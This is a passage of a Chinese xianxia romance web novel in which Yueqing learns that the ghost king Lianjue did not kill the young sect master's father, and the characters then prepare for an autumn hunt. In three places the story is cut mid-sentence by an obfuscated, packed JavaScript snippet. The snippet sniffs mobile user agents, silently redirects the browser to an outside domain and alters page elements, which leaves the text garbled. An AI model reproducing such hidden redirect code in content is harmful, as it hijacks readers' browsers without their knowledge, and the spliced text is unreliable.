冰冷的空气呼吸进肺腑,寒意逼人,可今日的太阳很盛,哪怕是在雪山之巅,也有着余温。
她瞭开眼睫看他,轻轻问:“会有我吗?”
连绝看着她,明明是淋满了冰冷的大雪,眉尖却显露出温暖的神色。
他轻轻地嗯了一声,依言乖觉地抬起了手,将一只不大不小的乌雀鸟递到月情的面前。
那只小鸟微微偏着头,眼睛很亮,仔细看,竟然是镶嵌了两颗晶莹剔透的宝石,在阳光下,偏转开,折射出明亮的光彩。
月情忍不住凑近过去轻轻地抚了一下,而后,无声地弯起了唇角。
——真漂亮啊。
纯净、璀璨、晶莹剔透。
**
月情重新回到梨花苑时,身上还沾着落雪,她低着头扫干净,手指尖被雪烫得灼热。
少宗主焦急地问,“你们去哪儿了,那个小鬼魂呢?”
月情抬起眼看她,提及冰树之上,那只神气的乌雀鸟,她顿了顿,道:“连绝还雕刻了属于你的乌雀鸟。”
少宗主:“?”
她一呆,起了一身鸡皮疙瘩,下意识道:“他想做什么?”
月情想起那几只小鸟,独属于连绝的乌雀图腾,眸光波动,“在他心里,你、我包括小青,都是一样的。”
少宗主半晌都没有说话,品味着这句话,许久许久。
她实在是不解,“他为什么会…会纪念我呢?”
这个答案无从得知。
她已经想不太明白了。直觉告诉她连绝或许并没有那般面目可憎,至少在见云山这么多天里,她看见了与外界传闻大相庭径的连绝。
嗜杀、残暴、狠辣、阴险——统统都没有。
少宗主甚至极尽恶意,她恨恨地想,这一定是障眼法,是鬼王故意为之,是连绝专门来恶心她。
他一定一定是全修仙界最血腥、最恶毒、最残忍的坏胚,可是、可是在他眼中她已经消逝了。
像小青一样,消逝于修仙界。
对一个已经消逝的人,何必再费劲使什么障眼法。
但她不肯承认,也不愿承认。
难道让她去相信月情说的一样,相信他是真心的,像对待小青一样,对待见云山无数小鬼一般,真心地对待她吗?
但是——
但、是——
“但是他杀了我爹!”少宗主咬牙切齿,颤颤着,痛到心中又沉又闷,“这个仇,永远无法抵消。”
少宗主对连绝的态度是毋庸置疑的,她恨他,他们之间隔着血海深仇。
他们的立场从一开始就是对立的。
但连绝则并不在意对立。
或者说除了见云山,任何势力任何人,即使是对他喊打喊杀的修仙盟,在他眼中也只是漠然的“其他”,不重要的“其他”。
重要的从来只有见云山。
这么多天里,月情也发现了,这里根本没有秩序,宛若一盘散沙,没有上下级之分也没有弱肉强食的残忍,就像一个偌大而吵闹的大家庭。
而连绝就是庇护家庭中弱小成员的大家长。
在他眼中,四大护法其余小鬼包括月情与少宗主,被他认可的,都是需要他保护的…家人。
这是一个很古怪的猜测,被公之于众后会让修仙界震惊的猜测。
但连绝的所作所为正在证实着这一切。
他或许沉默而无声,但至少,他让一群孤魂野鬼有了安身之处。
唯有少宗主与孤魂野鬼沾不上边,是这其中唯一一个异类。
可她唯一一次与连绝有正面交集,却偏偏又是十三年前。
月如金身死那一刻。
“……”
那是一个盛夏。
据少宗主所说,那是她经历过得最冷的一天。
当年她只有三岁,还是不怎么记事的年纪,可白茫茫的雪仍旧震撼了她幼小的心灵。
彼时,前锋三殿已经被冰雪覆盖,呼啸的寒风簌簌吹起,冰冷凌厉的雪从门外啪啪砸过来,一夜之间,三伏盛夏凝结为腊月寒冬。
“铛——”
“铛、铛——”
“铛、铛、铛——”
净月宗上下传来如雷霆般的钟声,不远处的山峰间,一座独立于三殿的小阁楼发出淡淡金光,而其中,一只画满了咒文的辟邪钟正疯狂地晃动悬垂,发出巨大的声响。
小月晚不安至极,她刚想出去看看就被关上了门,一边的侍女将她抱了回去轻声哄她,这一刻,小孩儿的恐惧在钟声下无限拉大,本能让她寻求安全的庇护,忍不住大声地哭叫,“爹爹,我要爹爹……”
“这辟邪…这钟怎么响了……”青衫侍女面色苍白,一旁的蓝衫侍女勉强镇定,“有宗主在,不会出事。”
话落,青衫侍女也冷静下来,心疼地拿着帕子给小月晚擦眼泪,又无奈地说:“这可怎么办,少宗主被吓住了。”
平时的小月晚都很乖,虽不是安安静静的性子,但也听话不爱哭闹,逢人便笑,可今天这钟声着实吓人,侍女们变着法地哄,小月晚也止不住抽搭,不住地吵闹着向她们讨要月如金。
若是平时倒也好说,但眼下出了这么大的事,月如金肯定在忙正事,哪里抽得出空。
一炷香后,那钟声居然还未停,犹如恶鬼催命一般,在净月宗峰头上悬了一把恐慌的刀。
“是鬼王连绝!”
外边不知从哪里传来的喊声,在铛铛的钟声里,发出惊恐无度的尖利叫声。
几个侍女听见后,全部呆滞在原地,半晌才反应过来,脸色瞬间惨白如纸,手都开始发抖。
“鬼王…连绝?”二人对视一眼,都从眼睛里看见了对方的恐惧。
这几十年以来,修仙界每一个人都活在鬼王威慑的恐慌之下。
逍遥门,飞花宗,神机教,几十年前如日中天的大宗门一夕之间覆灭,无数的血水铺盖连天。
而这一切,俱是鬼王连绝所为。
他的手段血腥残忍,冷酷无情,只要是被他盯上的宗门就逃脱不开覆灭的下场——他怎么会来净月宗,他怎么会来…净月宗?
“啪嗒”一声,侍女手中的琉璃盏碎裂一地,将殿内所有人惊醒。
蓝衣侍女脸色沉峻,瞬间反应过来,急促道:“快,带上少宗主先行下山。”
话落,众人才惊惶地发现,方才还哭闹着的小月晚居然不见了。
大雪封路,寒气重重,小月晚捂住双耳,被那钟声刺激得突然惨叫了一声,她紧闭双眼,猛地跌在雪中。
刺痛从手心传来,小月晚咬紧下唇,摊开一看,脏污的手流出不少血。
她抿着唇往身上擦,又急迫地爬起身,而这时候,一道冰蓝色的光华突然从天而降,缠在她破裂的掌心上。
小月晚微微怔住,那抹冰蓝倏尔将她整个人裹住朝着神魔殿飞速急进。
呼啸的大风让她看不清任何人,她的眼中只有白色。
白茫茫一片的世界。
“铛——”
巨钟轰鸣。
一抹暗沉的紫色倏尔闯入她的世界,小月晚抬起头,神魔殿下,那道身影矗立在此,背对着她,而不远处,极致的冰蓝正缠着她,往源头处撞去。
“铛、铛——”
巨钟发出最后一声震天响,匡地声,猛然坠地,无数雪花激尘而起,此间此景,宛若梦中,幻境中,天上神仙处。
她呆呆看着,不敢眨眼。
——“晚晚!”
撕心裂肺的声音从她身旁传出,小月晚被强行拽入一个怀抱,巨大的力道将缠在她手腕上的冰蓝色拽断,无数碎片在天空中折裂,这时,她才看清,看清那抹冰蓝的源头究竟是什么。
寒烟。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950857|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
那柄蕴含着极致冰雪的剑。
无数的雪花,极致的寒,一抹冰蓝,皆因寒烟而起。
那是她娘留下的唯一遗物。
而激发它的手段,激发它的灵气,激发它的血肉——
“爹!”小月晚凄声惨叫。
月如金身跪神魔殿前,身上是寒烟落雪,腹中是亡妻之剑。
极重的寒气裹满了他的全身,而他的伤口处,更是结满了冰花,凝住了他的血肉。
这些冰花像能生长的藤蔓根茎,一直爬到他悲伤、痛苦的脸上,最终…将他蚕食殆尽。
唯有一抹金月在隐隐发光,诉说着他在人世间最后一句话。
而他的身旁,即是那引起辟邪钟轰然坍塌的恶鬼。
小月晚崩溃大叫,“啊!”
冰冷的眼泪,冰冷的世界,冰冷的身躯,她绝望而凄厉地痛苦哀嚎,双目淌血、口中呕血,濒临死地。
整个神魔殿上都震荡着她的哭叫声。
一旁的闫星逐终忍受不了,目眦欲裂,提剑而指恶鬼,恨道:“我杀了你!”
静立于雪中的恶鬼一派漠然,甚至没有留下一个眼神,无数的风骤然而起,大雪纷飞,急乱急停,剑落,而恶鬼已消失无踪。
……
那是最冷的一天。
冷到十三年以来,每每握住寒烟时,都会轻轻地发抖。
寒冷将伴她终生。
而她的血,将终生彻骨。
……
少宗主慢慢地低下头,光影逐渐蜷缩。
月情听见她的声音,轻轻打着颤,“这不是一只小鸟能抵消的。”
她又重复了一遍,委屈,不甘,痛苦,还有极致的寒冷。
雪花融化成水,沾染在人指尖。
月情轻轻地搓了一下,冷意消失。
她听着身侧逐渐低微的哽咽声,沉默地站了一会,片刻,静静推开了梨花苑的门。
隔着很远的距离,月情看见连绝正在荒芜的湖中心,他坐在他经常坐着的石凳上,微微垂着头,长发如瀑,遮挡了他的面目,只留下了一道暗紫的身影。
冥冥中,他忽而抬头望过来。
月情与他对视一眼,轻轻带上了门,朝着湖中心走过去。
连绝这次在做灯架,他编织的速度并不慢,很快,一个雏形就做好了。月情还记得,他曾经告诉过她,他爹的木工活做得很好,家里的木头物件都是他爹打得。
他自己也从小就拿着木头和锤子叮叮哐哐地敲打,可惜,只学了一个皮毛。
不过一只灯笼,却也算得心应手。
连绝在石桌上还准备了灯笼布与色调鲜明的颜料,但他还没有想好画什么图案。
“画一些花花草草,”月情坐到他对面,轻声说:“像春天一样。”
见云山已经许久没有春天了,因为阴气太盛,整个山头都在枯萎,除了那一座活着的庄园,其余的地方,都死寂地没有一丝生气。
春天,则与见云山恰恰相反。
万物复苏,万物生长。
明媚,鲜活,灿烂,和煦。
这让连绝想到一种名叫水玲花的浅蓝色花卉。
这种花长在水中,不需要肥料,很好养活,春天到来时就会争相绽放,待风经过,会听见一阵细细碎碎的叮铃轻响。
这会让人想起一个平白的慵懒午后,恰到好处的阳光,徐徐的清风,以及朦胧的景色。
他目光专注,在碧绿色的湖水中描绘下浅蓝的一大片,片刻中,就铺满了大半的灯笼布。
月情看这他笔下温暖的一切,呼吸中是薄冷的冰霜。
她沉默片刻后,轻轻问:“连绝,是你杀了月如金吗?”
他的笔骤然而停,颜料在布上洇出痕迹。
“……”
月情对上了他如墨般漆黑的眼,如夜无星。
而春天,稍纵而逝。
19. 青云念(三)
他看着她,情绪不明。
半晌后,他问她,“月如金是谁?”
月情:“?”
月情:“……”
“是少宗主的父亲,”月情努力平静,而后对上他微微上抬的双眼,那墨黑的眼瞳中,难得消解了那一层雾蒙蒙的灰色,显现出几分清澈、茫然、困惑甚至是不解。
“……”
月情微笑道:“没事了,你画画去吧。”
连绝盯着她看,有些不明所以,半晌后才低声问:“你怀疑我杀人?”
月情卡顿了一下,对上他漆黑的眼眸,虽然他语气仍旧平平,可她却莫名从中读出了丝丝委屈与难过。
她脑中一轰,立即道:“当然没有。”
月情自然不知晓当年的真相,只是单纯地觉得,这些个仇这些个怨与其猜来猜去不若直接了当地问他,谁知道,这一问,就让她捧回了这么一个让人想脑袋撞墙的答案。
她道:“我怎么会怀疑你呢,是十三年前,净月宗神魔殿下,有人亲眼看见你杀了他。”
“包括她,”月情指了下自己,试探地说,“她亲眼所见,深恨于你。”
连绝盯着她的心口,眼底划过一抹异样。
他道:“不是我。”
他朦胧中想到了一些什么,一片冰雪的世界,但也只是不重要的东西,他早已经不记得了。
连绝收回了视线,轻轻动笔,在布上勾勒出一只春天来临的燕子。
他道:“我只杀该杀之人。”
这个答案在月情的预料之中,也在预料之外。
不过仔细一想也合理了,连绝本就不似风宁那般喜欢到处溜达,又从哪里能与月如金结仇,甚至到了痛下杀手的地步。
她笑了笑,又继续表忠心道:“我就知道大王一定不是滥杀无辜之人。”
连绝听到这话却是偏头看了她一眼,正色几分。
月情见他看自己,微微端正了些许,又故意叹气道:“可我说了不算数,而这谣言却是害惨了我。大王你不知,我来时答应了替少宗主完成报仇的遗愿,入了见云山又得大王收留,夹在中间,是百般纠结,千般心酸,万般为难。”
人微末之时都会有遗愿,连绝闻言并不意外,只是未能想到月晚的遗愿会与他有关。
但他的确不曾记得这一切。
如碎片一般的记忆明明灭灭,唯有重要的明亮如星辰,而这等琐碎、微小的事,灰蒙蒙的看不真切,一律被丢到了旮旯角落。
凝眉细思,才看清了上面模模糊糊,一闪而过的风宁的脸。
他终于记起来。
“十三年前是风宁让我去净月宗,他让我救一个人。”
月情闻言怔然,随之又道:“风宁?救人?真的吗?”
连绝陷入了丝丝沉默,随之点了点头。
这真相与传言的差距也太大了。月情忍不住吸气,又道:“所以,并非是大王你杀了月如金,而是你想救他没有救下来。”
连绝微微凝眉。
除了风宁以外,他不记得任何人,也不记得任何事,如若不是她提起,他更不会想起他曾经出过远门,也不会记得那深厚皑皑而违反天理的鹅毛大雪。
他只是道:“我不记得。”
月情看着他苍茫的表情,嘴唇抿起,又暗道果然。
这世间,若有一只鬼能沾染那般多的因果,只会是风宁。
但她还是百思不得其解,风宁怎知月如金会遇到危险,还如此好心地拜托连绝去相救?
这完全不像他唯恐天下不乱的作风。
月情又叹道:“原来这是一个乌龙。”
话落,她又觉得用乌龙两个字来形容未免太过轻巧。
月情想到少宗主每天勤奋修炼,日夜不停,甚至走火入魔,就是为了有实力与连绝一决生死,手刃杀父仇人——但这却是个可笑的乌龙。
连带着所有的仇,所有的怨,乃至她这条命,都显得可笑至极。
湖心亭倏尔安静下来。
月情撑着脸,长发遮住眼眉,半隐在暗光中。
一阵风吹过,湖边掀起一弯波澜。
她盯着那波澜,忍不住问,“大王,你为什么从不理会那些泼在你身上的脏水呢?”
连绝淡声道:“因为那不重要。”
“……”
月情慢慢坐直,眉眼下压,“这世间一不重要二也不重要,实在是不知,究竟什么才是重要?”
连绝闻言微微失神,他很少会去思考,而今却想了片刻钟,目光缓慢地落下来,落在手中的画上。
他的眼眸轻转,道:“燕子,水铃花,还有……”他看向她,语调微微上扬,温声道:“还有春天。”
月情怔然在原地,并没有反应过来。
他看着她,看着她不虞的面容。
叮叮叮,一阵细碎的轻响,她回过神,看见那本是画上的水铃花渐渐被捧起,逐渐生出柔软的弧度,与风过留痕的轻灵声响。
他捧起那束柔软的花,目光落在她平直的唇角上,又将花递到她面前,轻声重复,“春天最重要。”
娇艳的水铃花,新鲜的露珠。
她长长久久地恍惚。
过了会儿,月情才试探地伸出手指,碰到那花瓣,微凉的触感,很真实,仔细闻,有一种淡淡的清香。
并不浓烈,但是闻起来很舒服。
她不由凑近了一些。
连绝瞧着她垂首细嗅的安静模样,同样安静地拿起了笔,缓慢而无声,唯余唇边漾着浅浅的弧度。
湖心亭又回归了静谧,唯余风过时,水玲花轻盈响动的叮叮声。
……
不知道多久,月情回神似地听见湖心亭外传来的脚步声。她眨了下眼,捧花回头看。
原来是蜻蜓。他沿着廊桥走进来,黑衣黑发黑披风,唯有手中编织而成的花环带着颜色。
鹅黄的花,新绿的藤,突兀而又明亮。
“大王,月师傅,”他唤了一声,将明亮的花环轻轻挂在了灯笼上,轻声感慨,“我记得这是第一万零九百二十一个灯笼了。”
月情意识到什么,抱住水铃花的手指微微扣紧。
但连绝与蜻蜓明显早已经习惯这一切,眼中并无离别的悲伤,也没有难过的怅然。
只是安静地将那只灯笼放飞,目送着,在阳光之下,云海之上,而他们的神色仍旧静静如初。
待灯笼看不见后,蜻蜓才可惜地说:“这次秋猎我和秋苑还设计了节目,小青见不到了。”
闻言,连绝回过眸子,“节目?”
他连忙点头,极力推销道:“大王,为了让大家玩得高兴,我们几个彻夜商量,特别安排了一出好戏。”
连绝不语,只漫不经心地嗯了一句,显然并不在意他们安排了什么好戏。
蜻蜓卡顿一下,又把眸光挪到月情身上,继续道:“月师傅,你见到了一定也会甚感惊喜。”
月情缓缓眨了下眼,对上他期待的眼神,礼貌而客气地笑了笑,“当然。”
秋猎的地点在祁岭,边上就是青云城,这地方是连绝的故乡,而修仙界一般将其称之为——鬼域。
几十年以来,此地一直是修仙界中严令禁止且深刻防备的禁区。在众人眼中,是危险至极,神秘至极,诡谲至极。
正所谓凡人不许靠近,修仙者也须谨慎进入。
不过在六年前,一个修为平平,年纪轻轻的修士却十分大胆地闯入此地甚至平安而归,此举一出,一众忌惮而严防死守的修士顿时惊掉了下巴。
而那位修士是谁,自然是从不怕死,屡屡犯禁的少宗主。
月情道:“如果我没算错,六年前你应该才十岁。”
十岁就敢深入鬼域,不愧是堂堂少宗主。
“此事说来话长,”少宗主看着她讳莫如深的眼神,解释道:“当时流云府这一片出了一只山精残害百姓生灵,本来应该是附近的芳华寺僧人去除妖,但那山妖有几分胆色,从一关隘逃进了鬼域。当时,它还掳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950858|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走了好几个老百姓当口粮,如此危险紧急的时刻,那群饭桶居然不敢追了,就停在关隘前眼睁睁看着山精逃走!”
说到这里,少宗主气不打一处来,骂骂咧咧一阵,又道:“这件事并没有闹大,因为修仙界妖魔鬼怪伤人的事情很多,想压下来是很简单的一件事。”
若是平时也就无声无息了,但就在此时,诡异的事情出现了。
修仙盟所掌管万城令,其中,青云城那一枚,早已经被人遗忘的令牌突然发出了十万火急的求援信号。
一瞬间,整个修仙界都炸了。
早在七十多年前,青云城就已经被搬空了,更是修仙界的禁区,传说中鬼王的鬼域,谁能想到这邪门地方居然有一天会向修仙盟发送求援信号?
修仙盟的前身——千道盟的盟主逍遥门掌门人惨死的景象还历历在目,这谁他妈敢去救啊?
所有人都咬定了此乃鬼王的诡计,盟主甚至在大会上嘲笑连绝又蠢又坏,如此浅显的一招请君入瓮,哪个大傻子会中计?
但很快他就笑不出来了。
一个十岁的女娃娃,竟然在得知没有修士愿意去青云城救人后气得爆炸,她一边在行云通天镜上大骂盟主废物,一边提了寒烟跋山涉水地赶到了青云城。
谁也没想到她居然活着出来了,甚至提着山精的脑袋。
自此,净月宗少宗主月晚,无人不知、无人不晓。
不少人听闻了她的事迹,将其编写成文,由说书人在民间大肆传播,无数老百姓听得愤慨激扬,纷纷为她叫好。
平头百姓的命最不值钱,谁人在意,无人在意,整个修仙界,居然只有一个十岁的女娃娃把他们当人看!
一直到如今,修仙界都传着一句名言:你被鬼王抓了仙盟盟主不会救你,但月晚有事是真敢上。
这一巴掌,打得盟主的脸啪啪作响。
一直到如今,都有人借此嘲讽他。
月情侧目道:“这件事除了你,修仙界不会再有第二个人站出来。”
她说得是心里话,少宗主这人最大的毛病就是一根筋、不怕死,可偏生这又是她获得无数人钦佩赞扬的根由。
她从不能明白,这世界上为什么会存在这样的人,而这样的人竟能活到十六岁,真不知老天爷是一心要她死,还是垂怜她为她次次续命直至了无办法。
少宗主不好意思地咳嗽了两声,“不至于,我只是运气好,侥幸碰到了一只通灵性的白鹿,是它救了我一命,否则,我也走不出青云城。”
即使青云城没有古怪并非鬼域,但那只山精也不是好对付的。
双方鏖战了整整一天,少宗主趁着它伤势过重,拼尽最后一口气,一剑捅穿了山精的腹部,将极寒之气灌入它体内,才真正杀了它。
拔出寒烟时,她整个人一晃,差点栽倒在地。
当时当刻,她身上尽是血,已经是进气少出气多了,但她没有去管伤口,而是用所有力气捡起了地上的半只血手臂。
那只手臂是成年男性的手臂,不属于山精更不属于她。
可她却真像断臂了一般,痛苦地蜷起了身子,双手逐步收紧,稍显稚嫩的面孔露出了难过与痛苦的神情。
这一刻,少宗主想到了跪在神魔殿前,尸体冰冷的月如金。
紧赶慢赶,她还是来迟了。
她轻微发抖,一滴泪悄然无声地滑落。
“爹,我还是太没用了,我救不了他,也救不了你……”
在濒死的痛苦里,少宗主恍惚了一瞬,当时她受伤太重,浑身是血,甚至出现了幻觉真的看见了月如金。
等清醒过来时,身边却空空如也。
失落间,她发现自己的伤口已经用草药止住了血。
丛林寂静无声,她躺在小池谭边柔软的草地上,附近还被放了些果子,转头一见,一只白色的小鹿正藏匿在大树后,彩色的眼睛如琉璃一般在阳光下晕出了光彩。
见她醒来,它忽而又闪进了深山,只留下了一个灵动的身影。
20. 青云念(四)
“那只白鹿一定是祁岭的守护神鹿,”少宗主看向她,神色认真,“月情,你一定要拦在连绝前面,不能让他杀了它。”
月情闻言道:“他的箭术可是一等一的好,谓之百发百中。”
少宗主不愿相信,在她身边转圈圈,“我不信,那个谁,重影不是说过秋猎每一年都有,连绝都现世几十年了,白鹿还活得好好的!”
月情一向只做最坏的打算,沉沉道:“这说明它运气很好,但今年,见云山可是所有小鬼全部出动。”
少宗主沉默,长久地沉默。
她看向她,凉飕飕地问,“那为什么今年他们突然要全部出动?”
月情:“……”
而正如她所言,沉寂的见云山漫山遍野地热闹起来,小鬼们皆为之秋猎做准备,无一不背上了弓与箭,起晚贪白地努力练习箭术。
无聊到要发霉的风宁闻此,扯了下唇角,“所以,所有鬼都去?”
重影立在一边,凉凉道:“嗯,除了你。”
他顿时不爽,“凭什么?”
重影呵呵冷笑一声,“你的机会已经让出去了。”
风宁冷冰冰地盯着他,冷哼一声,“我现在就去要回来!”
无意路过的月情:“……”
他们的“生死之交”,原来竟如此脆弱。
而她在所有鬼气森森的小鬼之中又是如此地引人瞩目,风宁和重影几乎同时将目光落定在她身上。
月情被迫停下脚步,微微笑道:“好巧。”
的确是很巧,他们刚好聊到她,就碰到了一起。
重影不由暗自嘀咕,忍不住偷偷瞟了眼风宁,而后者也记起来自己的“机会”正是让给了月情,不由微眯眼眸。
月情被他盯得脊背发寒,再想到之前风宁发疯的模样,不由心中生恶,连忙道:“我给你讲一个笑话,这一茬咱们就揭过去。”
风宁眼珠动了一下,阴险道:“如果笑话不好笑,哼哼,我们所有鬼都会去青云城,而你可以猜一下,谁会被单独留下来看家。”
月情:“……”
她努力地心平气和,微笑道:“话说从前有个猎户上山打猎经常空手而归,被乡里众人嘲笑无能。为了争气,他努力练习,又雄赳赳、气昂昂地上山了,结果差点被狼咬死。而危急关头,却有一天神下凡,解救了他。”
“猎户因此保全了性命,十分感谢天神,便问其姓名想要日夜供奉。原来这天神竟然是他当初练箭的靶子。猎户一面感激,一面疑惑,不知天神为何要帮他,便问靶子道:‘神官为何助我?’靶子天神道:‘感念你昔日练箭时一箭不曾伤我,是故相助。’”
话音落,风宁面无表情地看着她。
月情沉默着与他相视。
一时间,久久无人说话,气氛凝滞如冰,尴尬得人牙齿打战。
两秒钟后。她转过头,扬起声音,对着一边的小鬼们,十分自然地给自己找台阶下,“当然,大王如此厉害,必然是百发百中,得不到靶子天神的眷顾了。”
话落,其余不知情的小鬼们皆火热地跟着附和,一下子就把冷飕飕的场子炒热了。
月情微微一笑,从容转身,这时,身旁突然传来一道惊天动地的笑声,像烧开的水壶,在她耳边不住地嗡鸣。
她懵了一瞬,转头一看,就见风宁发疯似地捶地大笑,笑着笑着,他的头突然断开,一边笑一边在地上轱辘地滚,“哈哈哈哈哈哈哈,天才,这真是我听过最好笑的笑话……你简直是个天才!”
月情看着那颗围着自己转的头,脑子像被雷劈中,一根根神经全部炸裂开,只能听见哈哈哈如魔音贯耳的剧烈声响。
小鬼们包括重影都看向这边,目光在她和风宁的头上打转,眼神逐渐惊异。
月情如芒在背,如坐针毡,罕见地渗出冷汗,宛若被千夫所指。
这和当众拉屎有什么区别?!
少宗主恶寒道:“珍重生命,远离风宁。”
所言极是。月情一直认为风宁报复人的手段十分幼稚,心智也尤其地不成熟,根本比不上他在修仙界擅于玩弄人心的恶名,但直到此时此刻,她才发现她大错特错。
风宁分明是玩弄人心的高手,起先给她留下一个疯癫的傻子形象,再一朝出击,把她这个不看重脸面的人都打得冷汗直流。
果然,在这个世界上,只有不要脸的人才能真正做到无敌。
而风宁比之更甚,他不仅不要脸,他还不要头!
月情承认,是她败了,她败得彻底。
她还是要脸的。
“等等等等,”少宗主连忙叫住她,道:“白鹿白鹿!”
月情刹住脚,她深吸了一口气,又不得不回头,一个箭步跨上阶梯,闷头往屋里扎。
此时,屋里只有秋苑一个,她正兴致勃勃地看着折子。
一个巴掌突然从天而降,啪地声盖下来,咔擦”一声,长桌裂开成两半,木屑纷飞。
秋苑:“………?”
月情盯着那张报废的桌子,挤出了一个礼貌的笑容,“秋苑姐,等到了祁岭,麻烦你领着小鬼们在外围狩猎,千万千万不要深入进林中。”
秋苑不知是在想什么,若有所悟地噢了一声,眼中多了三分深意,笑道:“既然是你求我,自然没问题。”
月情总算放下心来,如此,她只需要跟着连绝,在遇见白鹿时给他添乱便足矣。
她又看向那已经挽救不了的长桌,沉默少许,又温声道:“我会去修补的。”
“无妨,”秋苑摆了下手,将那本折子捡起来,而后又笑意盈盈道:“这次秋猎,你一定会喜欢的。”
月情顿了一下,之前蜻蜓也提过一次,这次秋苑又笑得如此灿烂,她不禁暗暗想。
他们究竟要搞什么名堂?
**
与见云山不同,祁岭山清水秀,草木茂盛,与远处山林自成一景,郁郁葱葱里都是盛夏的影子。
月情难得能看见这般的好景色,她嗅着清新的空气,整个人都轻松下来。
秋苑也一如她所答应的,招呼着小鬼们没四处乱跑,就围聚到了湖边的营地旁。
唯连绝要深入至林中。
而重影早有准备,特特牵来了一匹黑色的骏马,连绝着眼看过去,伸手抚了下它结实的肌肉,眼中流露出欣赏,“很漂亮。”
重影看他高兴,自己也高兴,道:“大王快上马试试。”
连绝依言翻身上马,一袭绛色长袍,衣领袖摆上绣着金线勾边的暗色花卉,一身行装,干练、锋利、富有少年气。
只沐浴在阳光下,便光彩照人。
月情多看了两眼,微微而笑。
其实她对狩猎很感兴趣,毕竟可以烤肉吃,但上次被少宗主质疑攻错心后,月情看着连绝的身影,就提不起吃的兴致和动力。
不过只是与他一起去散散步也是极好的。
她便两手一指,寒烟轻轻悬于空中,月情委身一坐,在空中划了下,即托着她跟了上去。
林中寂静,道路荒芜许久,地上生出了许多灌木杂草。
连绝骑马并不快,月情则在他身后,悠闲地四处眺望。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950859|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此地草木灵气通透,与她之前所见大不相同,有大如碗口形似喇叭的香花,还有形如紫藤花般一簇一簇的莓果。
她正瞧得新奇,前边忽而传来声响,偏头一瞧,森林里蹦出了只人畜无害的梅花鹿。
连绝从身后抽出了一只箭,他身姿挺拔如松,动作简单却又暗压着危险,修长的手指轻轻按压,古朴的弓便张开如满月,而那锋利的箭矢即将射穿那只突如其来的可怜小鹿。
这让她想到了当初连绝教她射箭时的那个下午。
起因一是封地在东洲的安王爷,他有一幼子,自小便极尽宠爱,而今年小世子的生辰,安王爷只觉若是仍旧照常,未免太没有新意。而小世子素来亲和,喜欢与民同乐,他便灵机一动,昭告东洲百姓,让天下能人异士登府表演。
月情闻此,知晓店里新来的伙计武功不错,便怂恿了连绝去报名。
而他何止是不错,拉弓射箭行云流水,轻巧射穿靶心,随之漫不经心一笑,扬眉问她道:“月师傅,你见我如何?”
阳光下,少年人的身姿是为一绝,张扬锐利,骑着马哒哒哒地靠过来,声音里俱是轻快的笑音,而一双桃花眼,盈盈地瞧着她,眸中藏着几分讨赏的乖巧与骄傲。
她微微一笑,点了点头,道:“自然是极好。”
他的双眼便如点明灯,盈盈而亮,欢快地在草场上尽情骑马,是年少意气,而眉梢眼角里的笑意更是写满了自由。
月情看着他的身影,久久失神。
大祁很少会有女子学习骑马射箭,但如若是自由,即使被人指指点点,她也要去握握缰绳。
她热爱自由的感觉,也喜欢他热情的眉眼,那时候,月情就感觉他与大祁的人不太一样。
因为从小开始,月情身边所有的男人都会说女人只需要在家中相夫教子,而丈夫就是女人的天,像她这样的女人根本不会有男人要。
他们耻笑她的“年纪”,指责她的抛头露面,又贪婪地觊觎着她的家产。
贬低她,束缚她,规训她。
而连绝不一样,他只会在她策马狂奔时扬声而笑,为她尽情欢呼。
正如一簇灼烈明丽的天光,破开万丈乌云,照耀出一条自下而上寻风般自由的路。
而她沐浴在阳光下,风采飞扬,鲜衣怒马。
彼时彼刻,亦如此时此刻。
少年还是少年,持弓欲发。
小鹿却并未察觉到危险,低头喝了喝水,悠哉悠哉地啃啃小草,闲暇中还看了他们一眼。
这时,连绝才松开手,箭矢擦着小鹿而过,那只鹿竟然恍若无觉,一动不动,吃饱喝足后还长长地打了个嗝。
它慢悠悠地分了个眼神过来,扯着眼角,鼻孔朝天,一脸不屑,好似在说,就这?
月情没想到这里的小鹿竟如此猖狂,立即道:“大王,再来一次。”
连绝闻言抽出箭矢,月情屏气凝神,箭破空而出,咻地一声,竟然擦着小鹿的角射到了树上。
他又取了三支箭,咻咻咻,一飞而出,气势凌人,仔细一看,竟然全睡地上去了。
月情:“……?”
那只小鹿忽而无奈地摇了摇头,一脚踩到了箭上,竟然灵性地弯腰叼起了一只羽箭,转过头扎了下自己的腹部,随后发出怪声,噗通一声栽倒在地。
为了更逼真,它还抽搐了两下,吐出了自己的舌头。
一时间,林中寂静无声。
那只小鹿还偷偷地掀了眼皮观察他们的反应。
月情忍不住捂脸。
好小鹿,这么会递台阶。
